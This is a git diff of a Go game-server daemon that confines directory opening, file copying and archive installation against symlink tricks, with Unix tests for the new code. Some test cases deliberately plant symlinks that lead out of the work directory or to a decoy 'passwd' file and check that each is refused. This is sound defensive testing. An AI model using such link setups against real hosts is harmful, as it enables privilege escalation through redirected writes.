b/internal/app/fsutil/copy_unix_test.go @@ -175,3 +175,192 @@ func TestCopyTree_DirectoryOntoItselfThroughAFollowedLink(t *testing.T) { require.ErrorIs(t, err, ErrCopySameFile) assert.Equal(t, before, treeFiles(t, workDir), "no file may be emptied") } + +// A symlink standing where a file is copied to is, left alone, a way to write +// somewhere else. With ReplaceSymlinks the link goes and the file takes its +// place; without it the root decides how far the link is followed. +func TestCopyTree_SymlinkInPlaceOfAFile(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + opts CopyOptions + // link returns the target of the symlink standing at dst/game.cfg. + link func(outside string) string + wantError string + wantFile bool + wantInside string + wantOutside string + }{ + { + name: "link_out_of_the_root_is_replaced", + opts: CopyOptions{ReplaceSymlinks: true}, + link: func(outside string) string { return outside }, + wantFile: true, + wantInside: "inside", + wantOutside: "outside", + }, + { + name: "link_inside_the_root_is_replaced", + opts: CopyOptions{ReplaceSymlinks: true}, + link: func(string) string { return "other.cfg" }, + wantFile: true, + wantInside: "inside", + wantOutside: "outside", + }, + { + name: "link_to_nowhere_is_replaced", + opts: CopyOptions{ReplaceSymlinks: true}, + link: func(outside string) string { return outside + ".absent" }, + wantFile: true, + wantInside: "inside", + wantOutside: "outside", + }, + { + name: "link_out_of_the_root_stops_the_copy_by_default", + link: func(outside string) string { return outside }, + wantError: "path escapes from parent", + wantInside: "inside", + wantOutside: "outside", + }, + { + name: "link_inside_the_root_is_written_through_by_default", + link: func(string) string { return "other.cfg" }, + wantInside: "from repository", + wantOutside: "outside", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + src := t.TempDir() + dst := t.TempDir() + outside := filepath.Join(t.TempDir(), "passwd") + + require.NoError(t, os.WriteFile(filepath.Join(src, "game.cfg"), []byte("from repository"), 0o640)) + require.NoError(t, os.WriteFile(filepath.Join(dst, "other.cfg"), []byte("inside"), 0o600)) + require.NoError(t, os.WriteFile(outside, []byte("outside"), 0o600)) + require.NoError(t, os.Symlink(tt.link(outside), filepath.Join(dst, "game.cfg"))) + + err := CopyTree(openTestRoot(t, src), ".", openTestRoot(t, dst), ".", tt.opts) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + } else { + require.NoError(t, err) + } + + inside, err := os.ReadFile(filepath.Join(dst, "other.cfg")) + require.NoError(t, err) + assert.Equal(t, tt.wantInside, string(inside)) + + outsideContent, err := os.ReadFile(outside) + require.NoError(t, err) + assert.Equal(t, tt.wantOutside, string(outsideContent)) + assert.NoFileExists(t, outside+".absent") + + info, err := os.Lstat(filepath.Join(dst, "game.cfg")) + require.NoError(t, err) + + if !tt.wantFile { + assert.NotZero(t, info.Mode()&os.ModeSymlink, "the link stays where it stood") + + return + } + + require.True(t, info.Mode().IsRegular(), "game.cfg has to be a regular file, it is %s", info.Mode()) + assert.Equal(t, os.FileMode(0o640), info.Mode().Perm()) + + content, err := os.ReadFile(filepath.Join(dst, "game.cfg")) + require.NoError(t, err) + assert.Equal(t, "from repository", string(content)) + }) + } +} + +// A link in the destination that leads back to the file being copied is taken +// away like any other: the source keeps its content and the copy is a file of +// its own. +func TestCopyTree_ReplaceSymlinks_LinkToTheSourceFile(t *testing.T) { + t.Parallel() + + src := t.TempDir() + dst := t.TempDir() + + source := filepath.Join(src, "server.jar") + require.NoError(t, os.WriteFile(source, []byte("jar"), 0o644)) + require.NoError(t, os.Symlink(source, filepath.Join(dst, "server.jar"))) + + err := CopyTree(openTestRoot(t, src), ".", openTestRoot(t, dst), ".", CopyOptions{ReplaceSymlinks: true}) + require.NoError(t, err) + + content, err := os.ReadFile(source) + require.NoError(t, err) + assert.Equal(t, "jar", string(content), "the source must not be emptied") + + info, err := os.Lstat(filepath.Join(dst, "server.jar")) + require.NoError(t, err) + assert.True(t, info.Mode().IsRegular()) +} + +// A directory of the source that meets a symlink is created through it only as +// far as the root follows: ReplaceSymlinks is about files and takes no tree +// away. +func TestCopyTree_ReplaceSymlinks_LinkInPlaceOfADirectory(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + link func(outside string) string + wantError string + wantFile string + }{ + { + name: "link_out_of_the_root_stops_the_copy", + link: func(outside string) string { return outside }, + wantError: "path escapes from parent", + }, + { + name: "link_inside_the_root_is_merged_through", + link: func(string) string { return "real" }, + wantFile: "real/plugins.ini", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + src := t.TempDir() + dst := t.TempDir() + outside := t.TempDir() + + require.NoError(t, os.Mkdir(filepath.Join(src, "addons"), 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(src, "addons", "plugins.ini"), []byte("plugins"), 0o644)) + require.NoError(t, os.Mkdir(filepath.Join(dst, "real"), 0o755)) + require.NoError(t, os.Symlink(tt.link(outside), filepath.Join(dst, "addons"))) + + err := CopyTree(openTestRoot(t, src), ".", openTestRoot(t, dst), ".", CopyOptions{ReplaceSymlinks: true}) + + entries, readErr := os.ReadDir(outside) + require.NoError(t, readErr) + assert.Empty(t, entries, "nothing may be created outside of the destination") + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + + return + } + + require.NoError(t, err) + + content, err := os.ReadFile(filepath.Join(dst, filepath.FromSlash(tt.wantFile))) + require.NoError(t, err) + assert.Equal(t, "plugins", string(content)) + }) + } +} diff --git a/internal/app/fsutil/opendir.go b/internal/app/fsutil/opendir.go new file mode 100644 index 0000000..a12248f --- /dev/null +++ b/internal/app/fsutil/opendir.go @@ -0,0 +1,89 @@ +package fsutil + +import ( + "os" + "path" + "slices" + + "github.com/pkg/errors" +) + +// parentDirPerm is the mode of the directories OpenDir creates on the way to +// the one it was asked for. They stay with the daemon and have to be passable +// for the user the game server runs as. +const parentDirPerm os.FileMode = 0o755 + +// OpenDir opens the directory dir names below workDir as the root everything +// done inside it goes through. A directory that is not there yet is created +// with perm, and the directories leading to it with 0755. +// +// The files of a game server belong to its tenant, and so does, where the work +// directory is owned by the user the servers run as, the name the directory +// itself is known by. Whoever opens that directory by its path follows a +// symlink put in its place wherever it leads, and whatever the daemon does next +// with its own privileges — unpacking an archive, changing owners — is done to +// the tree the link names. OpenDir reaches the directory through the work +// directory instead, and through every boundary enclosing it, one directory fd +// at a time: a link is followed only as far as it stays inside the directory it +// stands in. One that leads out of the work directory is refused, and so is one +// that leads nowhere. +// +// The directory is a boundary of its own, next to the ones opts name. +func OpenDir(workDir, dir string, perm os.FileMode, opts ...ConfineOption) (*os.Root, error) { + return openDir(workDir, dir, opts, func(root *os.Root, rel string) error { + return errors.Wrapf(makeDir(root, rel, perm), "failed to create directory %q", dir) + }) +} + +// OpenExistingDir is OpenDir for a directory that has to be there already. +func OpenExistingDir(workDir, dir string, opts ...ConfineOption) (*os.Root, error) { + return openDir(workDir, dir, opts, nil) +} + +// openDir places dir and opens the root standing in it. prepare, when given, +// is called for a directory the placement did not open, with the root +// enclosing it. +func openDir( + workDir, dir string, opts []ConfineOption, prepare func(root *os.Root, rel string) error, +) (*os.Root, error) { + confiner := NewConfiner(workDir, append(slices.Clip(opts), WithRoot(dir))...) + + placed, err := confiner.Resolve(dir, TargetTree) + if err != nil { + return nil, err + } + + if placed.Rel == "." { + return placed.Root, nil + } + defer placed.Close() + + if prepare != nil { + if err := prepare(placed.Root, placed.Rel); err != nil { + return nil, err + } + } + + root, err := placed.Root.OpenRoot(placed.Rel) + if err != nil { + return nil, errors.Wrapf(err, "failed to open directory %q", dir) + } + + return root, nil +} + +// makeDir creates rel inside root unless something stands there already. What +// that is, is left to whoever opens it next. +func makeDir(root *os.Root, rel string, perm os.FileMode) error { + if parent := path.Dir(rel); parent != "." { + if err := root.MkdirAll(parent, parentDirPerm); err != nil { + return err + } + } + + if err := root.Mkdir(rel, perm); err != nil && !errors.Is(err, os.ErrExist) { + return err + } + + return nil +} diff --git a/internal/app/fsutil/opendir_unix_test.go b/internal/app/fsutil/opendir_unix_test.go new file mode 100644 index 0000000..1c10dfc --- /dev/null +++ b/internal/app/fsutil/opendir_unix_test.go @@ -0,0 +1,313 @@ +//go:build linux || darwin + +package fsutil + +import ( + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// openDirModes are the ways a caller names the boundaries: not at all, with +// the directory it opens among the game servers the daemon knows, and with +// game servers known of which the directory is none. +func openDirModes(dir string) map[string][]ConfineOption { + return map[string][]ConfineOption{ + "no_server_dirs": nil, + "directory_is_known": {WithServerDirs(serverDirs{dir, "servers/b"})}, + "other_directories_known": {WithServerDirs(serverDirs{"servers/b"})}, + } +} + +func TestOpenDir_OpensTheDirectory(t *testing.T) { + t.Parallel() + + for mode, opts := range openDirModes("servers/a") { + t.Run(mode, func(t *testing.T) { + t.Parallel() + + workDir := confineTree(t) + + root, err := OpenDir(workDir, "servers/a", 0o700, opts...) + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + content, err := root.ReadFile("own.txt") + require.NoError(t, err) + assert.Equal(t, "own", string(content)) + + info, err := os.Stat(filepath.Join(workDir, "servers", "a")) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o755), info.Mode().Perm(), "an existing directory keeps its mode") + }) + } +} + +func TestOpenDir_CreatesAMissingDirectory(t *testing.T) { + t.Parallel() + + for mode, opts := range openDirModes("fresh/deep/server") { + t.Run(mode, func(t *testing.T) { + t.Parallel() + + workDir := confineTree(t) + + root, err := OpenDir(workDir, "fresh/deep/server", 0o750, opts...) + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + require.NoError(t, root.WriteFile("installed.txt", []byte("installed"), 0o644)) + + content, err := os.ReadFile(filepath.Join(workDir, "fresh", "deep", "server", "installed.txt")) + require.NoError(t, err) + assert.Equal(t, "installed", string(content)) + + dir, err := os.Stat(filepath.Join(workDir, "fresh", "deep", "server")) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o750), dir.Mode().Perm()) + + for _, parent := range []string{"fresh", "fresh/deep"} { + info, err := os.Stat(filepath.Join(workDir, filepath.FromSlash(parent))) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o755), info.Mode().Perm(), "%s has to stay passable", parent) + } + }) + } +} + +// The tenant of a game server owns its directory, and where the work directory +// belongs to the user the servers run as, also the name the directory is known +// by. A symlink put in its place must not carry whatever the daemon does next +// out of the work directory. +func TestOpenDir_SymlinkInPlaceOfTheDirectory(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + // link returns the target of the symlink put in place of servers/a. + link func(t *testing.T, workDir, outside string) string + wantError string + wantFile string + }{ + { + name: "absolute_link_out_of_the_work_dir_is_refused", + link: func(_ *testing.T, _, outside string) string { + return outside + }, + wantError: "path escapes from parent", + }, + { + name: "relative_link_out_of_the_work_dir_is_refused", + link: func(t *testing.T, workDir, outside string) string { + t.Helper() + + rel, err := filepath.Rel(filepath.Join(workDir, "servers"), outside) + require.NoError(t, err) + + return rel + }, + wantError: "path escapes from parent", + }, + { + name: "link_to_the_parent_of_the_work_dir_is_refused", + link: func(_ *testing.T, _, _ string) string { + return "../.." + }, + wantError: "path escapes from parent", + }, + { + name: "dangling_link_is_refused", + link: func(_ *testing.T, _, _ string) string { + return "absent" + }, + wantError: "no such file or directory", + }, + { + name: "link_to_a_file_is_refused", + link: func(_ *testing.T, _, _ string) string { + return "b/secret.cfg" + }, + wantError: "not a directory", + }, + { + name: "link_to_a_directory_inside_the_work_dir_is_followed", + link: func(_ *testing.T, _, _ string) string { + return "ab" + }, + wantFile: "other.txt", + }, + } + + for _, tt := range tests { + for mode, opts := range openDirModes("servers/a") { + t.Run(tt.name+"/"+mode, func(t *testing.T) { + t.Parallel() + + workDir := confineTree(t) + outside := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(outside, "passwd"), []byte("root:x:0:0"), 0o600)) + + serverDir := filepath.Join(workDir, "servers", "a") + require.NoError(t, os.RemoveAll(serverDir)) + require.NoError(t, os.Symlink(tt.link(t, workDir, outside), serverDir)) + + root, err := OpenDir(workDir, "servers/a", 0o755, opts...) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Nil(t, root) + + entries, err := os.ReadDir(outside) + require.NoError(t, err) + require.Len(t, entries, 1, "nothing is created where the link leads") + assert.NoDirExists(t, filepath.Join(workDir, "servers", "absent")) + + return + } + + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + _, err = root.Stat(tt.wantFile) + require.NoError(t, err) + }) + } + } +} + +func TestOpenDir_SymlinkOnTheWayToAMissingDirectory(t *testing.T) { + t.Parallel() + + for mode, opts := range openDirModes("linked/server") { + t.Run(mode, func(t *testing.T) { + t.Parallel() + + workDir := confineTree(t) + outside := t.TempDir() + require.NoError(t, os.Symlink(outside, filepath.Join(workDir, "linked"))) + + root, err := OpenDir(workDir, "linked/server", 0o755, opts...) + + require.Error(t, err) + assert.Contains(t, err.Error(), "path escapes from parent") + assert.Nil(t, root) + assert.NoDirExists(t, filepath.Join(outside, "server")) + }) + } +} + +func TestOpenDir_FileInPlaceOfTheDirectory(t *testing.T) { + t.Parallel() + + workDir := confineTree(t) + + root, err := OpenDir(workDir, "servers/a/own.txt", 0o755) + + require.Error(t, err) + assert.Contains(t, err.Error(), "not a directory") + assert.Nil(t, root) +} + +func TestOpenDir_PathOutOfTheWorkDir(t *testing.T) { + t.Parallel() + + workDir := confineTree(t) + + root, err := OpenDir(workDir, "../outside", 0o755) + + require.ErrorIs(t, err, ErrPathOutsideRoot) + assert.Nil(t, root) +} + +// The directory of a game server nested in another one stands in a directory +// the outer tenant owns. It is opened from inside the outer directory, so a +// link the outer tenant puts in its place cannot lead to a neighbour. +func TestOpenDir_NestedServerDirReplacedByALink(t *testing.T) { + t.Parallel() + + workDir := confineTree(t) + nested := filepath.Join(workDir, "servers", "a", "nested") + require.NoError(t, os.RemoveAll(nested)) + require.NoError(t, os.Symlink("../b", nested)) + + root, err := OpenDir(workDir, "servers/a/nested", 0o755, WithServerDirs(serverDirs{"servers/a", "servers/b"})) + + require.Error(t, err) + assert.Contains(t, err.Error(), "path escapes from parent") + assert.Nil(t, root) +} + +func TestOpenExistingDir(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + dir string + prepare func(t *testing.T, workDir, outside string) + wantFile string + wantError string + }{ + { + name: "directory_is_opened", + dir: "steamcmd", + wantFile: "steamcmd.sh", + }, + { + name: "work_dir_itself_is_opened", + dir: ".", + wantFile: "steamcmd/steamcmd.sh", + }, + { + name: "missing_directory_is_not_created", + dir: "absent", + wantError: "no such file or directory", + }, + { + name: "link_out_of_the_work_dir_is_refused", + dir: "steamcmd", + prepare: func(t *testing.T, workDir, outside string) { + t.Helper() + + require.NoError(t, os.RemoveAll(filepath.Join(workDir, "steamcmd"))) + require.NoError(t, os.Symlink(outside, filepath.Join(workDir, "steamcmd"))) + }, + wantError: "path escapes from parent", + }, + } + + for _, tt := range tests { + for mode, opts := range openDirModes("servers/a") { + t.Run(tt.name+"/"+mode, func(t *testing.T) { + t.Parallel() + + workDir := confineTree(t) + outside := t.TempDir() + + if tt.prepare != nil { + tt.prepare(t, workDir, outside) + } + + root, err := OpenExistingDir(workDir, tt.dir, opts...) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Nil(t, root) + assert.NoDirExists(t, filepath.Join(workDir, "absent")) + + return + } + + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + _, err = root.Stat(tt.wantFile) + require.NoError(t, err) + }) + } + } +} diff --git a/internal/app/game_server_commands/commands.go b/internal/app/game_server_commands/commands.go index cda16d4..e945954 100644 --- a/internal/app/game_server_commands/commands.go +++ b/internal/app/game_server_commands/commands.go @@ -8,6 +8,7 @@ import ( "github.com/gameap/daemon/internal/app/config" "github.com/gameap/daemon/internal/app/contracts" "github.com/gameap/daemon/internal/app/domain" + "github.com/gameap/daemon/internal/app/fsutil" ) const ( @@ -36,13 +37,18 @@ type ServerCommandFactory struct { executor contracts.Executor processManager contracts.ProcessManager leases *serverLeases + confineOpts []fsutil.ConfineOption } +// NewFactory creates the factory of game server commands. confineOpts name the +// directories an installation is confined by besides the directory of the +// server it installs, see fsutil.OpenDir. func NewFactory( cfg *config.Config, serverRepo domain.ServerRepository, executor contracts.Executor, processManager contracts.ProcessManager, + confineOpts ...fsutil.ConfineOption, ) *ServerCommandFactory { return &ServerCommandFactory{ cfg: cfg, @@ -50,6 +56,7 @@ func NewFactory( executor: executor, processManager: processManager, leases: newServerLeases(), + confineOpts: confineOpts, } } @@ -117,6 +124,7 @@ func (factory *ServerCommandFactory) makeInstallCommand(server *domain.Server) c factory.makeStatusCommand(server), factory.makeStopCommand(server), factory.makeStartCommand(server, nilLoadServerCommandFunc), + factory.confineOpts..., ) } @@ -129,6 +137,7 @@ func (factory *ServerCommandFactory) makeUpdateCommand(server *domain.Server) co factory.makeStatusCommand(server), factory.makeStopCommand(server), factory.makeStartCommand(server, nilLoadServerCommandFunc), + factory.confineOpts..., ) } @@ -143,6 +152,7 @@ func (factory *ServerCommandFactory) makeReinstallCommand(server *domain.Server) factory.makeStatusCommand(server), factory.makeStopCommand(server), factory.makeStartCommand(server, nilLoadServerCommandFunc), + factory.confineOpts..., ), }) } diff --git a/internal/app/game_server_commands/install_server.go b/internal/app/game_server_commands/install_server.go index 9c2525c..b9a1140 100644 --- a/internal/app/game_server_commands/install_server.go +++ b/internal/app/game_server_commands/install_server.go @@ -9,18 +9,20 @@ import ( "os/user" "path/filepath" "runtime" + "strconv" "strings" "time" "github.com/emirpasic/gods/sets/hashset" + "github.com/gameap/daemon/internal/app/archive" "github.com/gameap/daemon/internal/app/components" "github.com/gameap/daemon/internal/app/config" "github.com/gameap/daemon/internal/app/contracts" "github.com/gameap/daemon/internal/app/domain" + "github.com/gameap/daemon/internal/app/fetch" "github.com/gameap/daemon/internal/app/fsutil" "github.com/gameap/daemon/internal/app/osowner" "github.com/gameap/daemon/pkg/logger" - "github.com/hashicorp/go-getter" "github.com/pkg/errors" log "github.com/sirupsen/logrus" @@ -45,6 +47,21 @@ const ( const maxSteamCMDInstallTries = 20 +const ( + // The server directory is created with these modes when an installation + // finds none. steamcmd runs as the game server user and gets a directory + // nobody else looks into. + serverDirPerm os.FileMode = 0o755 + steamServerDirPerm os.FileMode = 0o750 + + // downloadedFilePerm is the mode of a downloaded file that is kept as it is. + downloadedFilePerm os.FileMode = 0o644 + + // maxReportedSkippedLinks bounds the lines one archive adds to the + // installation output for the symlinks it was not allowed to create. + maxReportedSkippedLinks = 20 +) + var repeatableSteamCMDInstallResults = hashset.New(7, 8) var ErrDefinedNoGameInstallationRulesError = errors.New("could not determine the rules for installing the game") @@ -54,6 +71,7 @@ var ( errInstallViaSteamCMDFailed = errors.New("failed to install via steamcmd") errFailedToExecuteAfterScript = errors.New("failed to execute after installation script") errUnknownInstallationAction = errors.New("unknown installation action") + errEmptyArchive = errors.New("the archive holds no files") ) type installationRule struct { @@ -81,9 +99,10 @@ func newUpdateServer( statusCommand contracts.GameServerCommand, stopCommand contracts.GameServerCommand, startCommand contracts.GameServerCommand, + confineOpts ...fsutil.ConfineOption, ) *installServer { buffer := components.NewSafeBuffer() - inst := newUpdater(cfg, executor, buffer) + inst := newUpdater(cfg, executor, buffer, confineOpts...) return &installServer{ baseCommand: newBaseCommand(cfg, executor, processManager), @@ -105,9 +124,10 @@ func newInstallServer( statusCommand contracts.GameServerCommand, stopCommand contracts.GameServerCommand, startCommand contracts.GameServerCommand, + confineOpts ...fsutil.ConfineOption, ) *installServer { buffer := components.NewSafeBuffer() - inst := newInstallator(cfg, executor, buffer) + inst := newInstallator(cfg, executor, buffer, confineOpts...) return &installServer{ baseCommand: newBaseCommand(cfg, executor, processManager), @@ -402,28 +422,48 @@ func (d *installationRulesDefiner) DefineGameModRules(gameMod *domain.GameMod) [ return rules } +// installator puts the files of a game server into its directory. +// +// The directory belongs to the tenant of the server, and where the daemon runs +// as root the installation does not: it unpacks archives and hands the tree to +// the game server user with privileges the tenant has no claim to. Every step +// taken with them therefore goes through one *os.Root, opened at the server +// directory by way of the work directory (fsutil.OpenDir), and never through a +// path. A path is resolved again by every call that takes it, through whatever +// the tenant has put in the way by then: a symlink under the name of an archive +// entry, in place of one of its directories, or in place of the server +// directory itself. type installator struct { cfg *config.Config executor contracts.Executor output io.ReadWriter kind installatorKind + // confineOpts name the boundaries the server directory is opened within, + // in addition to the directory itself. + confineOpts []fsutil.ConfineOption } -func newInstallator(cfg *config.Config, executor contracts.Executor, output io.ReadWriter) *installator { +func newInstallator( + cfg *config.Config, executor contracts.Executor, output io.ReadWriter, confineOpts ...fsutil.ConfineOption, +) *installator { return &installator{ - cfg: cfg, - executor: executor, - output: output, - kind: installer, + cfg: cfg, + executor: executor, + output: output, + kind: installer, + confineOpts: confineOpts, } } -func newUpdater(cfg *config.Config, executor contracts.Executor, output io.ReadWriter) *installator { +func newUpdater( + cfg *config.Config, executor contracts.Executor, output io.ReadWriter, confineOpts ...fsutil.ConfineOption, +) *installator { return &installator{ - cfg: cfg, - executor: executor, - output: output, - kind: updater, + cfg: cfg, + executor: executor, + output: output, + kind: updater, + confineOpts: confineOpts, } } @@ -463,14 +503,31 @@ func (in *installator) Install(ctx context.Context, server *domain.Server, rules func (in *installator) install(ctx context.Context, server *domain.Server, rule installationRule) error { dst := server.WorkDir(in.cfg) - var err error + perm := serverDirPerm + if rule.Action == installFromSteam { + perm = steamServerDirPerm + } + + root, err := fsutil.OpenDir(in.cfg.WorkDir(), server.Dir(), perm, in.confineOpts...) + if err != nil { + return errors.WithMessagef( + err, + "[game_server_commands.installator] failed to open server directory %q inside the work directory, "+ + "symlinks that lead out of it are not followed", + server.Dir(), + ) + } + defer root.Close() + switch rule.Action { - case downloadAnUnpackFromRemoteRepository, unpackFromLocalRepository: - err = in.getAndUnpackFiles(ctx, dst, rule.SourceValue) + case downloadAnUnpackFromRemoteRepository: + err = in.downloadAndUnpackFiles(ctx, root, dst, rule.SourceValue, server.User()) + case unpackFromLocalRepository: + err = in.unpackLocalFile(ctx, root, dst, rule.SourceValue, server.User()) case copyDirectoryFromLocalRepository: - err = in.copyDirectoryFromLocalRepository(ctx, dst, rule.SourceValue) + err = in.copyDirectoryFromLocalRepository(ctx, root, dst, rule.SourceValue) case installFromSteam: - err = in.installFromSteam(ctx, in.cfg, in.output, server, rule.SourceValue) + err = in.installFromSteam(ctx, in.cfg, in.output, server, root, rule.SourceValue) default: err = errUnknownInstallationAction } @@ -479,7 +536,7 @@ func (in *installator) install(ctx context.Context, server *domain.Server, rule return err } - err = in.chown(ctx, dst, server.User()) + err = in.chown(ctx, root, server.User()) if err != nil { err = errors.WithMessage(err, "[game_server_commands.installator] failed to chown files") in.writeOutput(ctx, err.Error()) @@ -495,41 +552,195 @@ func (in *installator) install(ctx context.Context, server *domain.Server, rule return nil } -func (in *installator) getAndUnpackFiles( +// downloadAndUnpackFiles fetches a remote repository file and installs it. The +// download is kept in the temporary directory, where no tenant can reach it, +// until it is complete: the server directory sees a finished file or none. +func (in *installator) downloadAndUnpackFiles( ctx context.Context, + root *os.Root, dst string, source string, + userName string, ) error { - progressTracker := components.NewDownloadProgressTracker(in.output, 5*time.Second) - - c := getter.Client{ - Ctx: ctx, - Src: source, - Dst: dst, - Mode: getter.ClientModeAny, - ProgressListener: progressTracker, + name, err := fetch.FileName(source) + if err != nil { + return errors.WithMessage(err, "[game_server_commands.installator] failed to download files") } in.writeOutput(ctx, "Downloading and unpacking from "+source+" to "+dst+" ...") - err := c.Get() + downloaded, err := os.CreateTemp("", "gameap-install-*") + if err != nil { + return errors.Wrap(err, "[game_server_commands.installator] failed to create a file to download to") + } + defer func() { + _ = downloaded.Close() + _ = os.Remove(downloaded.Name()) + }() + + progressTracker := components.NewDownloadProgressTracker(in.output, 5*time.Second) + + _, err = fetch.Download(ctx, source, downloaded, progressTracker) if err != nil { return errors.WithMessage(err, "[game_server_commands.installator] failed to download files") } + err = in.installFile(ctx, root, downloaded, name, downloadedFilePerm, userName) + if err != nil { + return err + } + in.writeOutput(ctx, "Downloading successfully completed") return nil } +func (in *installator) unpackLocalFile( + ctx context.Context, + root *os.Root, + dst string, + source string, + userName string, +) error { + in.writeOutput(ctx, "Unpacking from "+source+" to "+dst+" ...") + + file, err := os.Open(source) + if err != nil { + return errors.Wrap(err, "[game_server_commands.installator] failed to open the local repository file") + } + defer file.Close() + + info, err := file.Stat() + if err != nil { + return errors.Wrap(err, "[game_server_commands.installator] failed to stat the local repository file") + } + + err = in.installFile(ctx, root, file, filepath.Base(source), info.Mode().Perm(), userName) + if err != nil { + return err + } + + in.writeOutput(ctx, "Unpacking successfully completed") + + return nil +} + +// installFile puts a repository file into the server directory: an archive is +// unpacked, anything else is stored under its own name with perm. Which of the +// two a file is, is read off its name. The content does not tell a game +// distributed as an archive from one distributed as a jar, which is an archive +// only to whatever looks inside. +func (in *installator) installFile( + ctx context.Context, + root *os.Root, + file *os.File, + name string, + perm os.FileMode, + userName string, +) error { + if !archive.IsArchiveName(name) { + err := storeFile(root, name, file, perm) + if err != nil { + return errors.WithMessagef(err, "[game_server_commands.installator] failed to store %q", name) + } + + return nil + } + + result, err := archive.ExtractTree(ctx, file, name, root, archive.TreeOptions{ + Owner: osowner.Options{User: userName}, + }) + if err != nil { + return errors.WithMessagef(err, "[game_server_commands.installator] failed to unpack %q", name) + } + + if result.FilesProcessed == 0 { + return errors.WithMessagef(errEmptyArchive, "[game_server_commands.installator] failed to unpack %q", name) + } + + in.reportSkippedLinks(ctx, result.SkippedLinks) + + return nil +} + +// reportSkippedLinks tells in the installation output which symlinks of the +// archive were not created. The installation goes on without them, and a game +// that misses one of them is otherwise hard to explain. +func (in *installator) reportSkippedLinks(ctx context.Context, skipped []archive.SkippedLink) { + for i, link := range skipped { + if i == maxReportedSkippedLinks { + in.writeOutput(ctx, "... and "+strconv.Itoa(len(skipped)-i)+" more symlinks were not created") + + return + } + + in.writeOutput( + ctx, + "Warning: symlink "+strconv.Quote(link.Name)+" -> "+strconv.Quote(link.Target)+ + " was not created: "+link.Reason, + ) + } +} + +// storeFile writes src into the directory root is opened at, under name and in +// place of what stands there: the file is created anew, so that a symlink +// under that name is replaced and not written through. +func storeFile(root *os.Root, name string, src io.ReadSeeker, perm os.FileMode) error { + if _, err := src.Seek(0, io.SeekStart); err != nil { + return errors.Wrap(err, "failed to rewind the source") + } + + if err := root.Remove(name); err != nil && !errors.Is(err, os.ErrNotExist) { + return errors.Wrap(err, "failed to remove what stands in its place") + } + + out, err := root.OpenFile(name, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm) + if err != nil { + return errors.Wrap(err, "failed to create the file") + } + + _, copyErr := io.Copy(out, src) + + // The mode asked for is set on the file itself: creating it is subject to + // the umask, and its name may lead elsewhere by now. + chmodErr := out.Chmod(perm) + closeErr := out.Close() + + switch { + case copyErr != nil: + err = errors.Wrap(copyErr, "failed to write the file") + case chmodErr != nil: + err = errors.Wrap(chmodErr, "failed to set the file mode") + case closeErr != nil: + err = errors.Wrap(closeErr, "failed to close the file") + } + + if err != nil { + _ = root.Remove(name) + } + + return err +} + func (in *installator) copyDirectoryFromLocalRepository( ctx context.Context, + root *os.Root, dst string, source string, ) error { in.writeOutput(ctx, "Copying files from "+source+" to "+dst+" ...") - err := fsutil.Copy(source, dst, fsutil.CopyOptions{}) + sourceRoot, err := os.OpenRoot(source) + if err != nil { + err = errors.Wrap(err, "[game_server_commands.installator] failed to open the local repository directory") + in.writeOutput(ctx, err.Error()) + return err + } + defer sourceRoot.Close() + + // As with an archive, a file of the repository replaces a symlink standing + // under its name instead of being written to where the link leads. + err = fsutil.CopyTree(sourceRoot, ".", root, ".", fsutil.CopyOptions{ReplaceSymlinks: true}) if err != nil { err = errors.WithMessage(err, "[game_server_commands.installator] failed to copy files") in.writeOutput(ctx, err.Error()) @@ -546,23 +757,27 @@ func (in *installator) installFromSteam( cfg *config.Config, output io.Writer, server *domain.Server, + root *os.Root, source string, ) error { execCmd := in.makeSteamCMDCommand(source, server) in.writeOutput(ctx, "Installing from steam ...") - if _, err := os.Stat(cfg.SteamCMDPath); err != nil { - err = errors.Wrapf(err, "steamcmd directory %s is not accessible", cfg.SteamCMDPath) + steamCMDDir, err := in.openSteamCMDDir() + if err != nil { + err = errors.WithMessagef(err, "steamcmd directory %s is not accessible", cfg.SteamCMDPath) in.writeOutput(ctx, err.Error()) return err } - err := osowner.ApplyGroupSharedRecursive(cfg.SteamCMDPath, osowner.Options{ + err = osowner.ApplyGroupSharedRecursiveInRoot(steamCMDDir, osowner.Options{ User: server.User(), Group: cfg.SteamConfig.Group, }) + _ = steamCMDDir.Close() + if err != nil { err = errors.Wrapf(err, "failed to share steamcmd directory %s with the game server group", cfg.SteamCMDPath) in.writeOutput(ctx, err.Error()) @@ -588,20 +803,9 @@ func (in *installator) installFromSteam( executorOptions.GID = systemUser.Gid } - _, err = os.Stat(server.WorkDir(in.cfg)) - if err != nil && errors.Is(err, os.ErrNotExist) { - err = mkdirAllWithFinalPerm(server.WorkDir(in.cfg), 0750) - if err != nil { - return errors.Wrapf(err, "failed to create server work directory %s", server.WorkDir(in.cfg)) - } - } else if err != nil { - err = errors.Wrapf(err, "failed to check server work directory %s", server.WorkDir(in.cfg)) - in.writeOutput(ctx, err.Error()) - - return err - } - - err = in.chown(ctx, server.WorkDir(in.cfg), server.User()) + // steamcmd runs as the game server user and has to own the directory it + // installs into before it starts. + err = in.chown(ctx, root, server.User()) if err != nil { err = errors.Wrapf(err, "failed to chown server work directory %s", server.WorkDir(in.cfg)) in.writeOutput(ctx, err.Error()) @@ -674,8 +878,71 